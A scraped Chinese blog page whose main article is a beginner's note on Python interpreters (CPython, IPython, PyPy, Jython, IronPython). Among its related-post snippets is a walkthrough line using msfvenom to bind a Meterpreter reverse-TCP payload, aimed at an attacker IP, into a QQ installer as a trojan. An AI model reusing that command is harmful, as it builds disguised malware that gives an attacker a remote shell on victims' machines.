【Python】学习笔记——-4、Python解释器

什么是 Python 解释器? python 解释器是一种计算机程序,可将每个高级程序语句转换为机器代码。如何在 Windows 中轻松隐藏文件和文件夹解释器将您写出的命令翻译成计算机可以理解的代码。然而,为了更好地理解这个定义,我们必须解释什么是高级语言和低级语言。计算机程序员使用高级编程语言编写。高级语言的编写更接近人类语言,并允许程序员专注于正在编写的命令。Python 是最著名的高级语言示例。然而,虽然高级语言相对容易被人类理解,但对于机器来说却并非如此。 阅读详情

当我们编写Python代码时,我们得到的是一个包含Python代码的以.py为扩展名的文本文件。要运行代码,就需要Python解释器去执行.py文件。

由于整个Python语言从规范到解释器都是开源的,所以理论上,只要水平够高,任何人都可以编写Python解释器来执行Python代码(当然难度很大)。事实上,确实存在多种Python解释器。

CPython

当我们从Python官方网站下载并安装好Python 3.5后,我们就直接获得了一个官方版本的解释器:CPython。这个解释器是用C语言开发的,所以叫CPython。在命令行下运行python就是启动CPython解释器。

CPython是使用最广的Python解释器。教程的所有代码也都在CPython下执行。

IPython

IPython是基于CPython之上的一个交互式解释器,也就是说,IPython只是在交互方式上有所增强,但是执行Python代码的功能和CPython是完全一样的。好比很多国产浏览器虽然外观不同,但内核其实都是调用了IE。

CPython用>>>作为提示符,而IPython用In [序号]:作为提示符。

PyPy

PyPy是另一个Python解释器,它的目标是执行速度。PyPy采用JIT技术,对Python代码进行动态编译(注意不是解释),所以可以显著提高Python代码的执行速度。

绝大部分Python代码都可以在PyPy下运行,但是PyPy和CPython有一些是不同的,这就导致相同的Python代码在两种解释器下执行可能会有不同的结果。如果你的代码要放到PyPy下执行,就需要了解PyPy和CPython的不同点。

Jython

Jython是运行在Java平台上的Python解释器,可以直接把Python代码编译成Java字节码执行。

IronPython

IronPython和Jython类似,只不过IronPython是运行在微软.Net平台上的Python解释器,可以直接把Python代码编译成.Net的字节码。

小结

Python的解释器很多,但使用最广泛的还是CPython。如果要和Java或.Net平台交互,最好的办法不是用Jython或IronPython,而是通过网络调用来交互,确保各程序之间的独立性。

本教程的所有代码只确保在CPython 3.5版本下运行。请务必在本地安装CPython(也就是从Python官方网站下载的安装程序)。

环境“IronPython|2.7-32”似乎未正确配置或缺失 Visual Studio-“环境IronPython | 2.7-32似乎配置不正确或丢失的问题,网上的方法都比较麻烦,其实解决很简单,只要安装一下 python2.7这个版本即可,现在分享给大家。 立即下载

相关推荐

msfconsole捆绑木马

捆绑木马 这里使用的是Kalilinux虚拟机 攻击机ip是192.168.0.108 靶机ip是192.168.177.134 生成木马文件 首先上传一个正常的安装包到kali里面 我这里下了一个QQ 把它上传到了root路径下 然后开始捆绑 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 -f exe -x /root/dy/PCQQ2020.exe -o /root/dy/QQ.exe -p:指定后面.

iuyoo的博客 8023

Python解释器

当我们编写Python代码时,我们得到的是一个包含Python代码的以.py为扩展名的文本文件。要运行代码,就需要Python解释器去执行.py文件。 由于整个Python语言从规范到解释器都是开源的,所以理论上,只要水平够高,任何人都可以编写Python解释器来执行Python代码(当然难度很大)。事实上,确实存在多种Python解释器。 CPython 当我们从Python官方网站下...

weixin_34224941的博客 377

大众奥迪诊断不求人:手把手解析SAE J2819(CAN TP2.0)协议报文与连接流程

本文深入解析大众奥迪车型诊断核心标准SAE J2819(CAN TP2.0)协议,详细拆解连接建立流程与报文控制字段。通过实战案例展示通道设置、参数协商等关键步骤,提供诊断设备配置建议和常见故障排查技巧,帮助工程师掌握汽车诊断通信协议的精髓。

weixin_30421809的博客 397

python3解释器执行long(10)_有集合 s = {1,2,3},Python3解释器执行 del s[2]的结果为( )。...

【单选题】将二进制数10010101,转换成十进制数,正确的选项为( )。 A. B. 141 C. 149 D. 151【多选题】酒店管理专业旅游饭店职业发展路径主要是从事餐厅服务员工作、客房服务员工作、前厅服务员工作、会议服务员工作等,提升( )。【单选题】Python3解释器执行 for i,v in enumerate([0,1,2],2):print(i,v)和 for i,v in ...

weixin_39798579的博客 1301

配置思科交换机冗余链路汇聚

本文对交换机端口汇聚配置进行说明

istrangeboy&begin zero的博客 6684

超详细!新手必看STM32-DMA配置与实验(串口使用DMA发送数据)

DMA就是:直接存储器访问。DMA传输数据从一个地址空间复制到另一个地址空间,提供在外设和存储器或者存储器和存储器之间的高速数据传输。

qq_1033275663的博客 2万+

一些关于python的基础(一)

pip报错处理

u013853065的博客 464

Python爬虫终极指南:异步爬虫+Playwright逆向,高效爬取携程旅游数据

Playwright解决动态渲染和加密参数难题,模拟真实浏览器环境;aiohttp异步提升抓取效率,结合代理池和并发控制规避风控;指纹伪装、行为模拟等技巧大幅降低被检测概率。

专注于Python爬虫开发,分享爬虫技巧、项目实战与反爬经验,使用Scrapy、BeautifulSoup等工具,解决数据抓取难题。 2950

怎么用cmd运行python

windows 1.前提是要先下载python解释器,直接百度搜索python官网进入。 2.然后将鼠标悬浮在download上,会出来新的菜单,按照自己的系统进行选择下载即可。 3.下载好了之后,点击相应的可执行文件,大家按照需求自行安装即可。 4.安装好了只有,需要将python加入到环境变量中,如果上一步选择了将其添加到环境变量中,如果上一步选择了将其添加到环境变量中,则不用管了,如果加入成功的话,则在cmd中输入python会出现有关python的详细信息 5.如果在上一步没有成功的,则.

小肥羊快快跑 947

【nvidia-B200】实际生产报错NVRM: nvAssertFailedNoLog: Assertion failed: pIOVAS != NULL @ io_vaspace.c:601

升级 NVIDIA 驱动到 R545/R550 数据中心版本(解决 IOVA bug,这是性能差的根本原因);重启服务器(清理驱动残留资源,消除日志中的 NVRM 错误);验证 NVLink/PCIe 链路(确保 8 卡互联使用高速链路,而非单卡 PCIe 共享带宽)。完成这 3 步后,ncccl-test的all_reduce带宽应能提升至100GB/s 以上(取决于服务器的 NVLink/NVSwitch 配置),恢复正常性能。

jundao1997的专栏 652

S7-200 SMART PLC 数字量阀门控制功能块(FB)汇总

S7-200 SMART PLC功能块的各种写法可以查看专栏的其它文章,链接地址如下:S7-200 SMART PLC 子程序功能块(阀门控制)_RXXW_Dor的博客-优快云博客_plc控制阀门开关程序由于S7-200 SMARTPLC的子程序种种功能、容量限制,有时想实现多次调用的子程序可能并不是太容易,这篇博客还是给出一些推荐写法,供大家参看。

RXXW_Dor的博客 4000

pip安装包后在pycharm中无法导入,更改python解释器路径后文件夹变红色,pip的正确使用方法等。

1.pip安装包后,在pycharm中无法导入 解决方法一:在pycharm的终端Terminal中使用pip安装 解决方法二:检查python解释器路径,如果用的是当前工程的python解释器路径会导致在cmd中安装的pip包不可用,上图就是这个原因造成的,更换python解释器路径为python.exe的路径; 2.更换python解释器路径后,venv文件夹变红色 解决办法 新建工程时选择existing interpreter,不会生成venv文件夹; ps:venv与ieda文件夹的作用(一

weixin_43723143的博客 6082

ESP-IDF OTA升级过程中遇到的“esp_transport_read returned:-1 and errno:128”问题(4)

ESP-IDF OTA升级过程中遇到的“esp_transport_read returned:-1 and errno:128”问题(4)

phmatthaus的专栏 1532

python多线程模块threading学习笔记(4)之全局解释器锁GIL

参考链接: 【莫烦Python】Threading 学会多线程 Python 参考链接: 莫烦 多线程 参考链接: threading — 基于线程的并行 参考链接: queue — 一个同步的队列类 参考链接: 12.9 Python的全局锁问题 【总结】 由于全局解释器锁(GIL)的存在,对于CPU计算密集型任务, 多线程并不会加快程序执行,因为GIL保证程序执行的每个时间点, 只有一个线程在运行,这导致无法利用多CPU或者多核,所节省下的时间主要是IO时间. 【阅读参考: python3-cookb

敲代码的小风 357

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

什么是Python解释器?

什么是Python解释器? 文章目录什么是Python解释器?1.python解释器是什么?2.python解释器的构成及其各部分功能3.执行过程原理4.python解释器的种类 1.python解释器是什么? 计算机的大脑是CPU, 中文名叫中央处理器,它仍然不能直接处理 Python 语言。CPU 只能直接处理机器指令语言,那是一种由0和1数字组成的语言,这是一种我们人很难直接写出来的语言。所以,我们需要一个翻译,把Python语言翻译成 计算机CPU 能听懂的机器指令语言,这样计算机才能按照 我们的P

weixin_43422340的博客 3万+

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

Python解释器详细解释

Python解释器

weixin_56939868的博客 6153

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

配置Python解释器

在运行python项目时,如果代码目录中没有venv目录(即别人已经配置好的解释器),往往不能直接运行,因此需要自己添加项目对应的解释器,即使有别人配好的解释器,也会因为安装的python位置差异导致解释器不可用,本文将对这两种情况分别解决。(以我曾经碰到过的情况为例,不一定全面)一.无解释器1.如图,这是一个不包含venv文件夹的项目,使用pycharm打开,无法直接运行2.编辑配置发现没有属...

qq_51641196的博客 1万+

【Python学习笔记】五.Python3解释器

Python3解释器1.交互式编程2.脚本式编程 1.交互式编程 步骤1:在命令提示符中查看python版本(确定是python3版本) python --version # 可以查到python版本为3.8.5 步骤2:我们可以在命令提示符中输入"Python"命令来启动Python解释器: python 步骤3:输入python代码并按回车键查看效果。 步骤4:退出时,输入exit() 2.脚本式编程 步骤1:新建hello.py文件,文件内写代码: print("hello world!

计算机科研杂货铺 1048

【Python】Python解释器

Python解释器2.1调用解释器2.1.1启动解释器的四种方式2.1.2交互模式2.2解释器的运行环境2.2.1源文件的字符编码 解释器可以以交互式快速的进行代码的执行和调用 2.1调用解释器 2.1.1启动解释器的四种方式 1、cmd、win+r打开命令行,启用python.exe进入交互模式。 退出交互模式的三种方式: (1)quit() (2)exit() (3)ctrl+Z 2、进入命令行,执行Python.exe -c 'command',command含义:Python源代码 以上

扶摇直上 1万+

python解释器之PyPy解释器

PyPy是另外一种Python解释器,Python代码可以在不做任何改动的情况下,直接运行在PyPy上

IT菜鸟 3053

vscode怎么设置anaconda python解释器(anaconda解释器、vscode解释器)

【代码】vscode怎么设置anaconda python解释器。

Dontla的博客 3062

pycharm的python解释器选择_pycharm中配置python解释器

1、准备工作(1)Pycharm版本为3.4或者更高。(2)电脑上至少已经安装了一个Python解释器。(3)如果你希望配置一个远程解释器,则需要服务器的相关支持。2、本地解释器配置配置本地解释器的步骤相对简洁直观:(1)单击工具栏中的设置按钮。(2)在Settings/Preferences对话框中选中Project Interpreter页面,在Project Interpreter对应的下...

weixin_39605296的博客 7315

4. Python解释器与交互模式

解释器(Interpreter)是一种计算机程序,能够直接执行由高级编程语言编写的代码,而无需事先将其编译成机器语言。解释器逐行读取源代码,将其翻译成机器指令并立即执行。在Python的交互式解释器(REPL)中,__和___是三个特殊的变量,用于存储最近的计算结果。这些变量只在交互模式下有效,在脚本文件中无效。交互模式:Python解释器以逐行执行的方式运行,用户输入一行代码后立即执行并显示结果。脚本模式:将多行代码保存为.py文件后,通过解释器一次性执行整个文件。

weixin_43484713的博客 1417
上一篇: 【设计模式】—-(19)解释器模式(行为型)
下一篇: 程序员,请对自己好一点
白衣染霜陈
博客等级 码龄22年 682粉丝 338原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值